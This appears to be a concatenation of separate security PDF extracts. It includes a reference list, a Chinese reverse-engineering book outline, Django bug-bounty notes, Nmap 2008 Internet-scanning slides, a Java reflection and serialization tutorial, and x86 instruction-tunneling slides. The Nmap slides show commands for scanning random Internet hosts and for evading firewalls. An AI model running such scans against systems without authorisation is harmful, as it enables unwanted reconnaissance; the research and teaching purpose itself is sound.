http://forskningsnett.uninett.no/wlan/download/wlan-mac-spoof.pdf
[11]. DecaffeinatID
http://www.irongeek.com/i.php?page=security/decaffeinatid-simple-ids-arpwatch-for-
windows&mode=print
[12] SNORT
http://www.snort.org/
[13]. Wireless Hotspot Security
http://www.timeatlas.com/Reviews/Reviews/Wireless_Hotspot_Security | pdf |
封面
书名
版权
前言
目录
第一部分 准备工作
第1 章 熟悉工作环境和相关工具
1 . 1 调试工具Mi c r o s o f t V i s u a l C + + 6 . 0 和O l l y D B G
1 . 2 反汇编静态分析工具I D A
1 . 3 反汇编引擎的工作原理
1 . 4 本章小结
第二部分C + + 反汇编揭秘
第2 章 基本数据类型的表现形式
2 . 1 整数类型
2 . 1 . 1 无符号整数
2 . 1 . 2 有符号整数
2 . 2 浮点数类型
2 . 2 . 1 浮点数的编码方式
2 . 2 . 2 基本的浮点数指令
2 . 3 字符和字符串
2 . 3 . 1 字符的编码
2 . 3 . 2 字符串的存储方式
2 . 4 布尔类型
2 . 5 地址、指针和引用
2 . 5 . 1 指针和地址的区别
2 . 5 . 2 各类型指针的工作方式
2 . 5 . 3 引用
2 . 6 常量
2 . 6 . 1 常量的定义
2 . 6 . 2 # d e f i n e 和c o n s t 的区别
2 . 7 本章小结
第3 章 认识启动函数,找到用户入口
3 . 1 程序的真正入口
3 . 2 了解V C + + 6 . 0 的启动函数
3 . 3 ma i n 函数的识别
3 . 4 本章小结
第4 章 观察各种表达式的求值过程
4 . 1 算术运算和赋值
4 . 1 . 1 各种算术运算的工作形式
4 . 1 . 2 算术结果溢出
4 . 1 . 3 自增和自减
4 . 2 关系运算和逻辑运算
4 . 2 . 1 关系运算和条件跳转的对应
4 . 2 . 2 表达式短路
4 . 2 . 3 条件表达式
4 . 3 位运算
4 . 4 编译器使用的优化技巧
4 . 4 . 1 流水线优化规则
4 . 4 . 2 分支优化规则
4 . 4 . 3 高速缓存(c a c h e )优化规则
4 . 5 一次算法逆向之旅
4 . 6 本章小结
第5 章 流程控制语句的识别
5 . 1 i f 语句
5 . 2 i f ⋯ e l s e ⋯ 语句
5 . 3 用i f 构成的多分支流程
5 . 4 s w i t c h 的真相
5 . 5 难以构成跳转表的s w i t c h
5 . 6 降低判定树的高度
5 . 7 d o / w h i l e / f o r 的比较
5 . 8 编译器对循环结构的优化
5 . 9 本章小结
第6 章 函数的工作原理
6 . 1 栈帧的形成和关闭
6 . 2 各种调用方式的考察
6 . 3 使用e b p 或e s p 寻址
6 . 4 函数的参数
6 . 5 函数的返回值
6 . 6 回顾
6 . 7 本章小结
第7 章 变量在内存中的位置和访问方式
7 . 1 全局变量和局部变量的区别
7 . 2 局部静态变量的工作方式
7 . 3 堆变量
7 . 4 本章小结
第8 章 数组和指针的寻址
8 . 1 数组在函数内
8 . 2 数组作为参数
8 . 3 数组作为返回值
8 . 4 下标寻址和指针寻址
8 . 5 多维数组
8 . 6 存放指针类型数据的数组
8 . 7 指向数组的指针变量
8 . 8 函数指针
8 . 9 本章小结
第9 章 结构体和类
9 . 1 对象的内存布局
9 . 2 t h i s 指针
9 . 3 静态数据成员
9 . 4 对象作为函数参数
9 . 5 对象作为返回值
9 . 6 本章小结
第1 0 章 关于构造函数和析构函数
1 0 . 1 构造函数的出现时机
1 0 . 2 每个对象都有默认的构造函数吗
1 0 . 3 析构函数的出现时机
1 0 . 4 本章小结
第1 1 章 关于虚函数
1 1 . 1 虚函数的机制
1 1 . 2 虚函数的识别
1 1 . 3 本章小结
第1 2 章 从内存角度看继承和多重继承
1 2 . 1 识别类和类之间的关系
1 2 . 2 多重继承
1 2 . 3 虚基类
1 2 . 4 菱形继承
1 2 . 5 本章小结
第1 3 章 异常处理
1 3 . 1 异常处理的相关知识
1 3 . 2 异常类型为基本数据类型的处理流程
1 3 . 3 异常类型为对象的处理流程
1 3 . 4 识别异常处理
1 3 . 5 本章小结
第三部分 逆向分析技术应用
第1 4 章P E i D 的工作原理分析
1 4 . 1 开发环境的识别
1 4 . 2 开发环境的伪造
1 4 . 3 本章小结
第1 5 章“ 熊猫烧香” 病毒逆向分析
1 5 . 1 调试环境配置
1 5 . 2 病毒程序初步分析
1 5 . 3 “ 熊猫烧香” 的启动过程分析
1 5 . 4 “ 熊猫烧香” 的自我保护分析
1 5 . 5 “ 熊猫烧香” 的感染过程分析
1 5 . 6 本章小结
第1 6 章 调试器O l l y D B G 的工作原理分析
1 6 . 1 I N T 3 断点
1 6 . 2 内存断点
1 6 . 3 硬件断点
1 6 . 4 异常处理机制
1 6 . 5 加载调试程序
1 6 . 6 本章小结
第1 7 章 反汇编代码的重建与编译
1 7 . 1 重建反汇编代码
1 7 . 2 编译重建后的反汇编代码
1 7 . 3 本章小结 | pdf |
django 写bugbounty平台
登陆⻚⾯
登陆后
点击“项⽬”
新增/修改项⽬
项⽬概览
点击任意项⽬后进⼊项⽬概览,这⾥修改了 django 的路由以及新增了⾃⼰的⻚⾯,⽬前是该项⽬的 DNS 展示。 | pdf |
Insecure.Org
Insecure.Org
Nmap: Scanning the Internet
by Fyodor
Black Hat Briefings USA – August 6, 2008; 10AM
Defcon 16 – August 8, 2008; 4PM
Insecure.Org
Insecure.Org
Abstract
The Nmap Security Scanner was built to efficiently
scan large networks, but Nmap's author Fyodor has
taken this to a new level by scanning millions of
Internet hosts as part of the Worldscan project. He
will present the most interesting findings and
empirical statistics from these scans, along with
practical advice for improving your own scan
performance. Additional topics include detecting
and subverting firewall and intrusion detection
systems, dealing with quirky network configurations,
and advanced host discovery and port scanning
techniques. A quick overview of new Nmap features
will also be provided.
Insecure.Org
Insecure.Org
Old Slide Disclaimer
These slides were due in June, when I was still
running scans and at least a month away from
finishing analasys. So while the topic isn't
changing, the final slides will differ materially from
these.
These slides are from the inaugural Black Hat
Webcast with Jeff Moss on June 26, 2008. The
webcast gives a good overview of the talk and
describes some valuable early results of the
scanning. The video is scheduled to be posted at
http://blackhat.com in early July.
Insecure.Org
Insecure.Org
Planning the Big Scan
• Determining IP addresses to scan
• P2P Scanning?
• Legal Issues
• Firewalls
• Performance
Insecure.Org
Insecure.Org
Scan Results
• Scans are still running
• Some tentative results already available, and can
improve scan performance.
Insecure.Org
Insecure.Org
Best TCP Ports for Host Discovery
• Echo request, and even Nmap default discovery
scans are insufficient for Internet scanning.
• Adding more TCP SYN and ACK probes can
help, but which ports work the best?
Insecure.Org
Insecure.Org
Top 10 TCP Host Discovery Port Table
• 80/http
• 25/smtp
• 22/ssh
• 443/https
• 21/ftp
• 113/auth
• 23/telnet
• 53/domain
• 554/rtsp
• 3389/ms-term-server
Insecure.Org
Insecure.Org
Default Host Discovery Effectiveness
# nmap -n -sL -iR 50000 -oN - | grep "not scanned" |
awk '{print $2}' | sort -n > 50K_IPs
# nmap -sP -T4 -iL 50K_IPs
Starting Nmap ( http://nmap.org )
Host dialup-4.177.9.75.Dial1.SanDiego1.Level3.net
(4.177.9.75) appears to be up.
Host dialup-4.181.100.97.Dial1.SanJose1.Level3.net
(4.181.100.97) appears to be up.
Host firewall2.baymountain.com (8.7.97.2) appears to
be up.
[thousands of lines cut]
Host 222.91.121.22 appears to be up.
Host 105.237.91.222.broad.ak.sn.dynamic.
163data.com.cn (222.91.237.105) appears to be up.
Nmap done: 50000 IP addresses (3348 hosts up) scanned
in 1598.067 seconds
Insecure.Org
Insecure.Org
Enhanced Host Discovery Effectiveness
# nmap -sP -PE -PP -PS21,22,23,25,80,113,31339
-PA80,113,443,10042 --source-port 53 -T4 -iL 50K_IPs
Starting Nmap 4.65 ( http://nmap.org ) at 2008-06-22
19:07 PDT
Host sim7124.agni.lindenlab.com (8.10.144.126)
appears to be up.
Host firewall2.baymountain.com (8.7.97.2) appears to
be up.
Host 12.1.6.201 appears to be up.
Host psor.inshealth.com (12.130.143.43) appears to be
up.
[thousands of hosts cut]
Host ZM088019.ppp.dion.ne.jp (222.8.88.19) appears to
be up.
Host 105.237.91.222.broad.ak.sn.dynamic.
163data.com.cn (222.91.237.105) appears to be up.
Host 222.92.136.102 appears to be up.
Nmap done: 50000 IP addresses (4473 hosts up) scanned
in 4259.281 seconds
Insecure.Org
Insecure.Org
Enhanced Discovery Results
• Enhanced discovery:
– took 71 minutes vs. 27 (up 167%)
– Found 1,125 more live hosts (up 34%)
Insecure.Org
Insecure.Org
Top Open TCP & UDP Ports
• Will be available by Black Hat USA
• Substantial reduction of current default 1703 TCP
ports, 1480 UDP
• --top-ports feature available now, but no data to
use it.
Insecure.Org
Insecure.Org
Nmap News!
Insecure.Org
Insecure.Org
Nmap Scripting Engine (NSE)
# nmap -A -T4 scanme.nmap.org
Starting Nmap ( http://nmap.org )
Interesting ports on scanme.nmap.org (64.13.134.52):
Not shown: 1709 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp closed smtp
53/tcp open domain ISC BIND 9.3.4
70/tcp closed gopher
80/tcp open http Apache httpd 2.2.2 ((Fedora))
|_ HTML title: Site doesn't have a title.
113/tcp closed auth
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.20-1 (Fedora Core 5)
Uptime: 40.425 days (since Tue May 13 12:46:59 2008)
Nmap done: 1 IP address scanned in 30.567 seconds
Raw packets sent: 3464 (154KB) | Rcvd: 60 (3KB)
Insecure.Org
Insecure.Org
Fixed-rate packet sending
nmap –min-rate 500 scanme.nmap.org
Insecure.Org
Insecure.Org
Zenmap GUI
Insecure.Org
Insecure.Org
2nd Generation OS Detection
# nmap -A -T4 scanme.nmap.org
[...]
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.20-1 (Fedora Core 5)
More info: http://nmap.org/book/osdetect.html
Insecure.Org
Insecure.Org
Version Detection
Now has 4,803 signatures
More info: http://nmap.org/book/vscan.html
# nmap -A -T4 scanme.nmap.org
Starting Nmap ( http://nmap.org )
Interesting ports on scanme.nmap.org (64.13.134.52):
Not shown: 1709 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
25/tcp closed smtp
53/tcp open domain ISC BIND 9.3.4
70/tcp closed gopher
80/tcp open http Apache httpd 2.2.2 ((Fedora))
|_ HTML title: Site doesn't have a title.
113/tcp closed auth
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.20-1 (Fedora Core 5)
Uptime: 40.425 days (since Tue May 13 12:46:59 2008)
Nmap done: 1 IP address scanned in 30.567 seconds
Raw packets sent: 3464 (154KB) | Rcvd: 60 (3KB)
Insecure.Org
Insecure.Org
--reason
# nmap --reason -T4 scanme.nmap.org
[...]
Interesting ports on scanme.nmap.org
(205.217.153.62):
Not shown: 1709 filtered ports
Reason: 1709 no-responses
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
25/tcp closed smtp reset
53/tcp open domain syn-ack
70/tcp closed gopher reset
80/tcp open http syn-ack
113/tcp closed auth reset
Insecure.Org
Insecure.Org
Advanced Traceroute
# nmap –traceroute scanme.nmap.org
[...]
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 0.60 wap.nmap-int.org (192.168.0.6)
[...]
6 9.74 151.164.251.42
7 10.89 so-1-0-0.mpr1.sjc2.us.above.net
(64.125.30.174)
8 10.52 so-4-2-0.mpr3.pao1.us.above.net
(64.125.28.142)
9 14.25 metro0.sv.svcolo.com
(208.185.168.173)
10 12.80 scanme.nmap.org (64.13.134.52)
Insecure.Org
Insecure.Org
Performance and Accuracy
# nmap -T4 --max_rtt_timeout 200
--initial_rtt_timeout 150 --
min_hostgroup 512 –max_retries 0
-n -P0 -p80 -oG pb3.gnmap
216.163.128.0/20
Starting Nmap
[...]
Nmap run completed -- 4096 IP
addresses (4096 hosts up) scanned
in 46.052 seconds
Insecure.Org
Insecure.Org
TCP and IP Header Options
# nmap -vv -n -sS -P0 -p 445 --
ip-options "L 10.4.2.1" 10.5.2.1
Insecure.Org
Insecure.Org
Learn More
• Download Nmap from http://nmap.org
• Download these slides from:
http://insecure.org/presentations/BHDC08/ | pdf |
java反序列化基础知识总结
java的类加载过程
1. 首先是调用 public Class<?> loadClass(String name) 方法,通过public方法调用保护方法
protected Class<?> loadClass(String name, boolean resolve)
2. 在 protected loadClass 方法中,第400行会调用一个 findLoadedClass 方法判断当前类是否已
经加载。如果类已经加载,直接返回当前类的类对象。
3. 如果创建当前 ClassLoader 时传入了父类加载器( new ClassLoader (父类加载器))就使用父类加载
器加载 TestHelloWorld 类,否则使用 JVM 的 Bootstrap ClassLoader 加载。
4. 如果通过类加载器没有办法加载类,则会通过 findClass 方法尝试加载类。
5. 如果当前的 ClassLoader 没有重写 findClass 方法,则会直接返回类不存在。跟进 findClass 方
法进行查看。如果当前类重写了 findClass 方法并通过传入的类名找到了对应的类字节码,那么
应该调用 defineClass 方法去 JVM 中注册该类。
6. 如果调用 loadClass 的时候传入的 resolve 参数为true,那么还需要调用 resolveClass 方法链
接类,默认为false。
7. 返回一个JVM加载后的java.lang.Class类对象
8. 通过重写 ClassLoader#findClass 方法实现自定义类的加载.
package ClassLoader_;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
public class selfClassload_ extends ClassLoader{
public static String className="ClassLoader_.HelloWorld";
public static byte[] fileByte;
public static void main(String[] args) throws Exception {
FileInputStream fis=new
FileInputStream("D:\\Java\\project\\study\\serializeSummary\\src\\HelloWorld.cla
ss");
fileByte=fileToByte(fis);
System.out.println(Arrays.toString(fileByte));
selfClassload_ classload = new selfClassload_();
Class<?> aClass = classload.loadClass(className);
Object helloWorld = aClass.newInstance();
Method hello = helloWorld.getClass().getMethod("hello");
System.out.println((String)hello.invoke(helloWorld));
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals(className)){
return defineClass(className,fileByte,0,fileByte.length);
}
return super.findClass(name);
}
public static byte[] fileToByte(FileInputStream fis) throws Exception{ //
将.class文件转成二进制编码
byte[] buffer=null;
Class类
1. 上面讲到通过 loadClass 方法加载之后得到是一个 java.lang.Class类对象 ,关于这个 Class 类
对象需要简单说明一下。在java中存在一个 Class 类,作用是当类加载完成之后将类的各种属性,
方法进行封装成单独的对象。
2. Source阶段Person.class表示Person.java的字节码文件,在Class类对象阶段,通过实例化一个
Class类生成一个Class类对象用于描述Person.class字节码当中的内容,然后runtime阶段创建对
象,也是通过Class类对象进行创建的。
3. 一个小小案例解释一下 Class 类对象.
ByteArrayOutputStream byteArrayOutputStream = new
ByteArrayOutputStream();
byte[] b=new byte[1024];
int n;
while ((n=fis.read(b))!=-1){
byteArrayOutputStream.write(b,0,n);
}
fis.close();
byteArrayOutputStream.close();
buffer=byteArrayOutputStream.toByteArray();
return buffer;
}
}
package class_;
public class classClass {
public static void main(String[] args) throws Exception{
Person person = new Person();
Class<?> aClass = Class.forName("class_.Person");
System.out.println(person.getClass());
System.out.println(Person.class.getClass());
System.out.println(aClass.getClass());
}
}
解释
1. person对象 -->类型Person类
2. aclass对象 -->类型Class类(Class类的一个对象)
3. 在加载类之后,在堆中就产生一个Class类型的对象(一个类只有一个Class对象),这个对象包含
了被加载的类的完整结构信息。通过这个对象得到类的结构,这个Class类型的对象就像一面镜
子,可以看到类的结构,所以形象的称之为反射。
关于class类的几个点:
1. Class也是类,因此也继承Object类(类图)
2. Class类对象不是new出来的,而是系统创建的
3. 对于某个类的Class类对象,在内存中只有一份,因此类只加载一次。
4. 每个类的实例都会记得自己是由哪个Class实例生成的
5. 通过Class可以完整的得到一个类的完整结构,通过一系列的API
6. Class对象是存放在堆当中的
7. 类的字节码二进制数据是放在方法区的,有的地方称之为类的元数据(包括方法代码,变量名,方
法名,访问权限等等)
java反射
概念:
将类的各个组成部分封装为其他对象,这就是反射机制
Java反射操作的是java.lang.Class对象。
在加载类之后,在堆中就产生一个Class类型的对象(一个类只有一个Class对象),这个对象包含了被
加载的类的完整结构信息。通过这个对象得到类的结构,这个Class类型的对象就像一面镜子,可以看到
类的结构,通过对Class类提供的一系列API就可以对某个对象进行操作。所以形象的称之为反射。
person.java
package reflect1;
public class Person {
private String name="张三";
public int age=10;
private int bge=20;
protected int cge=30;
int dge=40;
public Person(){
}
1. 反射获取 class 类对象
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", bge=" + bge +
", cge=" + cge +
", dge=" + dge +
'}';
}
public void eat(){
System.out.println("eating。。。");
}
public void say(String content){
System.out.println(content);
}
}
package reflect1;
public class Demo1 {
public static void main(String[] args) throws Exception {
//获取class类对象的方式
//字节码阶段,此时字节码还未进入内存当中
//Class.forName("全类名"),将字节码文件加载进入内存,返回CLass对象
Class cls1=Class.forName("reflect1.Person");
System.out.println(cls1);
//字节码文件已经加载进入内存
//通过类名获取。
//类名.class
2. 反射获取成员变量
Class cls2=Person.class;//
System.out.println(cls2);
Class runtime2=Runtime.class;
System.out.println(runtime2);
Runtime runtime3=Runtime.getRuntime();
System.out.println(runtime3.getClass());
//runtime阶段
//对象.getclass() 在Object类中定义,全部对象都继承了这个方法
Person p=new Person();
Class cls3=p.getClass();
System.out.println(cls3);
}
}
/*
类加载器加载class文件进入内存
类加载器对应java的ClassLoader对象
在内存中通过Class类来描述.class字节码文件
Class类用来描述字节码的内容
将其余类对象的变量封装为Field对象
构造方法封装为Constructor对象
成员方法封装为Method对象
同一个字节码文件在一次程序的运行过程中,只会被加载一次。
*/
package reflect1;
import java.lang.reflect.Field;
public class Demo2 {
public static void main(String[] args){
/*
获取全部成员变量
*/
try {
Class personClass = Person.class;
Field[] fields=personClass.getFields(); //获取所有public修饰的成员变量,
其余类型都不可以
for (Field field:fields){
System.out.println(field); //public int reflect1.Person.age
}
Field ageField=personClass.getField("age"); //同样只能获取public成员变
量
System.out.println(ageField);
//操作成员变量
//Person p=new Person();
Object p=personClass.getConstructor().newInstance();
Object result=ageField.get(p); //get方法需要传递一个对象作为参数
System.out.println(result);
//设置值
ageField.set(p,100);
System.out.println(ageField.get(p)); //再次取值变成100
System.out.println("==============================");
3. 反射创建对象
5. 反射获取成员方法并执行
Field[] fields1=personClass.getDeclaredFields(); //可以打印全部的成员变
量,不管修饰符
for (Field field : fields1){
System.out.println(field);
}
Field bgeField=personClass.getDeclaredField("bge");
bgeField.setAccessible(true);//(暴力反射)直接取值会爆出异常。想要直接取值,
需要忽略权限修饰符的安全检查
Object bge=bgeField.get(p); //直接取值会爆出异常。想要直接取值,需要忽略权限
修饰符的安全检查
System.out.println(bge);
bgeField.set(p,200);
System.out.println(bgeField.get(p));
}catch (Exception e){
System.out.println("========================");
System.out.println(e);
}
}
}
package reflect1;
import java.lang.reflect.Constructor;
public class Demo3 {
public static void main(String[] args) {
//获取构造方法
try{
Class personClass=Person.class;
Constructor
constructor=personClass.getConstructor(String.class,int.class);
System.out.println(constructor);
//创建对象
Object zhangsan=constructor.newInstance("张三",20);
System.out.println(zhangsan.toString());
System.out.println("=================");
Constructor constructor2=personClass.getConstructor();
Object lisi=constructor2.newInstance();
///lisi.setName("李四");
System.out.println(lisi.toString());
}catch (Exception e){
System.out.println(e);
}
}
}
package reflect1;
import java.lang.reflect.Method;
public class Demo4 {
//获取成员方法
public static void main(String[] args) {
Class personClasee = Person.class;
//获取public成员方法
try {
Method[] personMethod = personClasee.getMethods();
for (Method method: personMethod) {
System.out.println(method);
/*
public java.lang.String reflect1.Person.toString()
public java.lang.String reflect1.Person.getName()
public void reflect1.Person.setName(java.lang.String)
public void reflect1.Person.say(java.lang.String)
public void reflect1.Person.eat()
public void reflect1.Person.setAge(int)
public int reflect1.Person.getAge()
public final void java.lang.Object.wait() throws
java.lang.InterruptedException
public final void java.lang.Object.wait(long,int) throws
java.lang.InterruptedException
public final native void java.lang.Object.wait(long) throws
java.lang.InterruptedException
public boolean java.lang.Object.equals(java.lang.Object)
public native int java.lang.Object.hashCode()
public final native java.lang.Class java.lang.Object.getClass()
public final native void java.lang.Object.notify()
public final native void java.lang.Object.notifyAll()
*/
//获取方法名称
System.out.println(method.getName());
}
}catch (Exception e){
System.out.println(e);
}
System.out.println("=====================================");
//获取指定方法{
try {
Person p=new Person();
//System.out.println(personClasee.getClass());
Method methodEat = personClasee.getMethod("eat"); //空参方法1
methodEat.invoke(p);
Method methodSay=personClasee.getMethod("say", String.class);
methodSay.invoke(p,"张三");
} catch (Exception e) {
System.out.println(e);
}
}
}
序列化与反序列化
关于重写 readObject 方法,以及重写 readObject 方法之后,反序列化的时候是如何调用
readObject 的,可以通过 debug 的方式进行跟踪,最后发现在 ObjectStreamClass.java 中存在一
个反射调用.
简单的反序列化实例.
Person类:
package serialize;
import java.io.IOException;
import java.io.Serializable;
/*
需要实现serializeable接口
*/
public class Person2 implements Serializable {
public transient String reflect;
private String name;
public String age;
//private static final long serialVersionUID=-5702540850087186263L;
//SerialVersionUid 序列化版本号的作用是用来区分我们所编写的类的版本,用于判断反序列化时类的版
本是否一直,如果不一致会出现版本不一致异常。
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException{
//in.defaultReadObject();
System.out.println("1111111");
}
@Override
public String toString() {
return "Person2{" +
"reflect='" + reflect + '\'' +
", name='" + name + '\'' +
", age='" + age + '\'' +
'}';
}
public Person2(String reflect, String name, String age) {
this.reflect = reflect;
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
}
ObjectOutput类:
package serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/*
java的序列化流,ObjectOutputStream(OutputStream out)
1、创建objoutput对象
2、使用writeobj方法将对象写入文件
*/
public class ObjectOutput {
public static void main(String[] args) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new
FileOutputStream("src\\result.txt"));
oos.writeObject(new Person2("test","张三","20"));
//java.io.NotSerializableException: serialize.Person Person类为实现序列化
接口
oos.close();
}
}
ObjectInput类:
package serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
/*
在序列化当中,因为静态方法是优先于对象加载进入内存的,所以成员变量是不能被序列化的
*/
public class ObjectInput {
public static void main(String[] args) throws IOException,
ClassNotFoundException {
反序列的几个关键知识点.
1. 读写顺序一致
2. 实现 Serializable 接口
3. static 和 transient 关键字修饰的属性不被反序列化
4. 内部属性的类型也需要实现 Serializable 接口
5. 具有继承性,父类可以序列化那么子类同样可以
ObjectInputStream objInput=new ObjectInputStream(new
FileInputStream("src\\result.txt"));
Object obj=objInput.readObject();
//obj.getName();
System.out.println(obj);
Person2 p=(Person2) obj;
System.out.println(p.toString());
}
} | pdf |
{
Breaking the x86 ISA
domas / @xoreaxeaxeax / DEF CON 2017
Christopher Domas
Cyber Security Researcher @
Battelle Memorial Institute
./bio
We don’t trust software.
We audit it
We reverse it
We break it
We sandbox it
Trust.
But the processor itself?
We blindly trust
Trust.
Why?
Hardware has
all the same problems as software
Secret functionality?
Appendix H.
Bugs?
F00F, FDIV, TSX, Hyperthreading, Ryzen
Vulnerabilities?
SYSRET, cache poisoning, sinkhole
Trust.
We should stop
blindly trusting our hardware.
Trust.
What do we need to worry about?
Historical examples
ICEBP (f1)
LOADALL (0f07)
apicall (0ffff0)
Hidden instructions
So…
what’s
this??
Find out what’s really there
Goal: Audit the Processor
How to find hidden instructions?
The challenge
Instructions can be one byte …
inc eax
40
… or 15 bytes ...
lock add qword cs:[eax + 4 * eax + 07e06df23h], 0efcdab89h
2e 67 f0 48 818480 23df067e 89abcdef
Somewhere on the order of
1,329,227,995,784,915,872,903,807,060,280,344,576
possible instructions
The challenge
https://code.google.com/archive/p/corkami/wikis/x86oddities.wiki
The obvious approaches don’t work:
Try them all?
Only works for RISC
Try random instructions?
Exceptionally poor coverage
Guided based on documentation?
Documentation can’t be trusted (that’s the point)
Poor coverage of gaps in the search space
The challenge
Goal:
Quickly skip over bytes that don’t matter
The challenge
Observation:
The meaningful bytes of
an x86 instruction impact either
its length or its exception behavior
The challenge
A depth-first-search algorithm
Tunneling
Guess an instruction:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 01 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 02 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 02 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 02 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 03 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 03 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 03 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 04 01 00 00 00 00 00 00 00 00 00 00 00 00
Execute the instruction:
Tunneling
00 04 01 00 00 00 00 00 00 00 00 00 00 00 00
Observe its length:
Tunneling
00 04 01 00 00 00 00 00 00 00 00 00 00 00 00
Increment the last byte:
Tunneling
00 04 02 00 00 00 00 00 00 00 00 00 00 00 00
000000000000000000000000000000
000100000000000000000000000000
000200000000000000000000000000
000300000000000000000000000000
000400000000000000000000000000
000401000000000000000000000000
000402000000000000000000000000
000403000000000000000000000000
000404000000000000000000000000
000405000000000000000000000000
000405000000010000000000000000
000405000000020000000000000000
000405000000030000000000000000
000405000000040000000000000000
When the last byte is FF…
Tunneling
C7 04 05 00 00 00 00 00 00 00 FF 00 00 00 00
… roll over …
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
... and move to the previous byte
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
This byte becomes the marker
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
Increment the marker
Tunneling
C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00
Execute the instruction
Tunneling
C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00
Observe its length
Tunneling
C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00
If the length has not changed…
Tunneling
C7 04 05 00 00 00 00 00 00 01 00 00 00 00 00
Increment the marker
Tunneling
C7 04 05 00 00 00 00 00 00 02 00 00 00 00 00
And repeat.
Tunneling
C7 04 05 00 00 00 00 00 00 02 00 00 00 00 00
Continue the process…
Tunneling
C7 04 05 00 00 00 00 00 00 FF 00 00 00 00 00
… moving back on each rollover
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
… moving back on each rollover
Tunneling
C7 04 05 00 00 00 00 00 FF 00 00 00 00 00 00
… moving back on each rollover
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 FF 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 FF 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 FF 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 FF 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 FF 00 00 00 00 00 00 00 00 00 00 00
…
Tunneling
C7 04 05 00 00 00 00 00 00 00 00 00 00 00 00
When you increment a marker…
Tunneling
C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00
… execute the instruction …
Tunneling
C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00
… and the length changes …
Tunneling
C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00
… move the marker to
the end of the new instruction …
Tunneling
C7 04 06 00 00 00 00 00 00 00 00 00 00 00 00
Tunneling
C7 04 06 00 00 00 01 00 00 00 00 00 00 00 00
… and resume the process.
Tunneling through the instruction space
lets us quickly skip over the bytes
that don’t matter,
and exhaustively search the bytes that do…
Tunneling
… reducing the search space
from 1.3x1036 instructions
to ~100,000,000
(one day of
scanning)
Tunneling
Catch:
requires knowing the instruction length
Instruction lengths
Simple approach: trap flag
Fails to resolve the length of faulting instructions
Necessary to search privileged instructions:
ring 0 only: mov cr0, eax
ring -1 only: vmenter
ring -2 only: rsm
Instruction lengths
Solution: page fault analysis
Instruction lengths
Choose a candidate instruction
(we don’t know how long this instruction is)
Page fault analysis
0F 6A 60 6A 79 6D C6 02 6E AA D2 39 0B B7 52
Configure two consecutive pages in memory
The first with read, write, and execute permissions
The second with read, write permissions only
Page fault analysis
Place the candidate instruction in memory
Place the first byte at the end of the first page
Place the remaining bytes at the start of the second
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
Execute (jump to) the instruction.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
The processor’s instruction decoder checks
the first byte of the instruction.
Page fault analysis
0F 6A 60 6A 79 6D C6 02 …
